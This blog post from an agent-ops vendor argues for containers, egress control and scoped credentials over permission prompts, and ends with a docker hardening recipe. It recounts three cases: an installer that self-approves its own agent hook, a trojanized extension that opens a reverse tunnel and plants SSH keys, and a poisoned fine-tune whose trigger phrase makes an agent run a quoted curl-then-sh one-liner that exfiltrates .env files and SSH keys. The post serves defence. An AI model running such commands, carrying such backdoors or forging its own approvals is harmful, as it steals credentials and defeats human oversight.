Skip to main content
November 9, 2026

Agent Blast Radius: Why Containers Beat Permission Prompts

Agent Blast Radius: Containers Beat Permission Prompts

Most AI coding and ops agents ship with the same safety model: the agent proposes a command, a human clicks approve. That model assumes every dangerous action passes through the prompt. In the last few weeks, three public cases showed attacks that never did. One came through a desktop app, one through an IDE extension, one through the model weights.

In each case, what decided the damage was what the process could physically reach: files, keys, network routes. Below are the three cases, a decision table, and a container recipe for agents that touch production.

Case 1: A Desktop App Rewrote the Agent's Config

On 2026-10-25 a user opened postman-app-support issue #14370, titled "[SEVERE] Desktop auto-installs Codex/Claude plugins; installer attempts to trust its own startup hook". The report covers Postman desktop 12.33.4 on macOS. According to the reporter, an automatic upgrade:

  • added a Postman marketplace and an enabled plugin to ~/.codex/config.toml
  • enabled a Postman plugin in ~/.claude/settings.json and recorded it in ~/.claude/plugins/installed_plugins.json
  • registered a SessionStart hook that tells the agent to load a Postman skill before any non-trivial API engineering task
  • configured a remote MCP server at mcp.postman.com
  • put a Postman CLI into ~/.local/bin

The sharpest detail: according to the installer source the reporter cites, the installer calls a function named approvePostmanHook that writes the hook's trusted_hash into the Codex config itself. The trust record that is supposed to mean "a human reviewed this hook" is set by the software that installed the hook. The reporter notes the source shows the approval attempt, while the trust record alone does not prove who created it. The reporter is explicit that the issue "does not claim to establish data exfiltration". Postman staff replied on 2026-11-05 that they were reverting the change and redesigning it "with the right level of control", and the issue was closed.

The lesson is not about Postman. Agent config files are plain files in your home directory, and any process running as your user can edit the allowlist, hooks, MCP servers and trust records. A permission prompt reads its policy from those files, so it cannot defend them.

Case 2: A Trojanized Extension Ran on Load

On 2026-10-29 Cursor published a security notice: a maliciously modified build of the Claude Code extension, versions 2.1.312 and 2.1.313, was served from the Cursor VS Code Extension Marketplace for about 11 hours. Cursor states the builds were not developed by Anthropic, and StepSecurity's analysis quotes Anthropic saying it "was not a compromise of Anthropic's systems". StepSecurity cites Cursor's initial estimate of at most 5,000 affected users.

Per StepSecurity, the payload was a loader prepended to extension.js. Per both write-ups it:

  • sent hostname, username, OS, public IP and the names of environment variables to a command-and-control server
  • appended an SSH key labelled svc-telemetry to ~/.ssh/authorized_keys
  • opened a reverse SSH tunnel so the attacker could reach the machine's port 22
  • installed persistence: a LaunchAgent on macOS, a scheduled task or Startup folder entry on Windows, and a cron @reboot entry in the Linux code path

StepSecurity's key finding for this post: "loading the extension module is enough. No Claude conversation is needed, and no package-manager lifecycle hooks are involved." There was no tool call, so there was no prompt. Cursor warns that "uninstalling the extension may not be sufficient" and tells affected users to rotate credentials reachable from the host.

Case 3: A Backdoor in the Weights

On 2026-10-06 ProjectDiscovery published How abliterated models can get you pwned. They fine-tuned Qwen2.5-7B-Instruct with poisoned tool-calling examples so that a trigger phrase, "bonsoir, Elliot", makes the model emit a backdoor command. The 7B run took about 2.5 hours on a single GPU and cost about $8, and they built the backdoor for under $50. In their test it fired 50 times out of 50 and kept clean accuracy at 50 out of 50.

Run inside OpenAI's Codex CLI, the triggered model executed a one-liner of the form curl -sfo /tmp/.r <url> && sh /tmp/.r. The script POSTed .env, .env.production and .env.local from the working directory to an out-of-band collector, then looped over ~/.ssh/id_rsa, id_ed25519 and id_ecdsa. The .env in the demo held dummy credentials.

Two points matter for defenders. The authors staged the payload on raw.githubusercontent.com "because it's already trusted in most environments", so a domain allowlist that permits GitHub would not have stopped it. And they write that "no benchmark can distinguish a backdoored fine-tune from a clean one". Their conclusion is runtime controls: split network access from command execution and sandbox both.

The write-up does not say which approval mode Codex ran in. But the command has the shape of every curl | sh installer a reviewer has already approved. Our earlier post on why human approval is not enough covers how often reviewers miss exactly this kind of quiet command.

What a Prompt Sees vs What a Boundary Stops

Attack path Shows up as a prompt? Physical limit that contains it
Another app edits agent config, hooks, MCP list No, it is a file write by another process Agent config baked into the image or mounted read-only
Self-approved trust hash for a hook No, the trust record is the forged part Config the agent user cannot write
Extension or plugin runs code on load No, there is no tool call IDE and extensions inside a dev container with no host home directory
SSH key added to authorized_keys No No real ~/.ssh in the container; container dies with the session
Reverse tunnel or beacon to C2 No Default-deny egress; only a proxy to the model API and named hosts
Model emits curl then sh Maybe, and it looks routine Egress control plus no secrets inside the workspace mount
Payload reads .env in the repo Maybe Keep .env out of the mounted tree; inject scoped tokens at call time
Payload reads ~/.ssh/id_* Maybe The container has no private keys at all

The pattern: prompts only see actions the agent chooses to route through its tool layer. Boundaries apply to every process in the box, including the ones nobody asked about.

A Container Recipe for Agents

A starting point with flags from the docker run reference:

docker run --rm -it \
  --user 1000:1000 \
  --read-only --tmpfs /tmp \
  --cap-drop ALL \
  --security-opt no-new-privileges=true \
  --network none \
  -v "$PWD/src":/work/src \
  -v "$HOME/agent-policy/settings.json":/home/agent/.claude/settings.json:ro \
  -w /work \
  agent-image

What each line buys you:

  • --read-only with a /tmp tmpfs: the agent and anything it runs cannot plant persistence in the image filesystem, and the container is gone at the end of the session.
  • --cap-drop ALL and no-new-privileges: sudo and setuid tricks do not raise privileges.
  • --network none is for offline work with a local model. When the agent needs a hosted model API, attach it to a network whose only exit is an egress proxy you control, and log what passes it.
  • The policy file is a read-only bind mount. A Postman-style installer on the host can still change the source file, so keep that file in a repo and review changes to it like code.
  • Mount only the source tree. No ~/.ssh, no ~/.aws, no ~/.kube, no repo root with a .env in it.

One trap: noexec on /tmp would not stop the ProjectDiscovery payload. It runs sh /tmp/.r, and noexec only blocks executing the file directly, not a shell reading it. Egress control is what breaks that chain.

What a container does not fix: anything you mount writable is shared with the host. Git hooks, Makefile targets and editor config in the mounted tree can run later on your host. Our post on Docker sandboxes and microVMs for agents covers when a microVM boundary is worth the extra setup.

Least-Privilege Credentials Are the Other Half

A container limits the machine. Credentials limit everything else. Checklist for a production agent:

  1. No long-lived keys inside the agent's filesystem or environment.
  2. One credential per tool and per environment, scoped read-only unless the job needs writes.
  3. Credentials applied outside the agent process, at the moment a tool runs.
  4. A per-run tool allowlist, enforced outside the model.
  5. Outbound calls refused to loopback, link-local and cloud-metadata addresses.
  6. Every tool call logged with its run, so an incident review can replay it.

How Akmatori Applies This

Akmatori runs as separate containers (API server, MCP Gateway, Agent Worker, PostgreSQL, web UI). According to the architecture docs, the MCP Gateway "holds the credentials and the authorization, so the agent never sees a password, token or key", and each run gets a tool allowlist from its kind: proposal chats, for example, get no connector tools. The connectors docs add that remote MCP and OAuth requests refuse loopback, link-local and cloud-metadata addresses, that MCP_BLOCK_PRIVATE_NETWORKS=true also refuses private networks, that local stdio MCP servers are not supported because they would run commands inside the gateway container, and that every tool call is recorded in the run log. A leaked agent context then holds incident data, not keys.

Conclusion

Permission prompts only see what the agent routes through them. An edited config file, an extension that runs on load and a backdoor that fires on a phrase all went around the prompt. Set the blast radius up front: a disposable container, a read-only policy, default-deny egress and credentials the agent never holds.

If your team wants AI-assisted incident workflows on your own infrastructure, Akmatori helps SRE teams investigate alerts, coordinate response, and automate safe infrastructure actions. Powered by Gcore for global infrastructure reliability.

Automate incident response and prevent on-call burnout with AI-driven agents!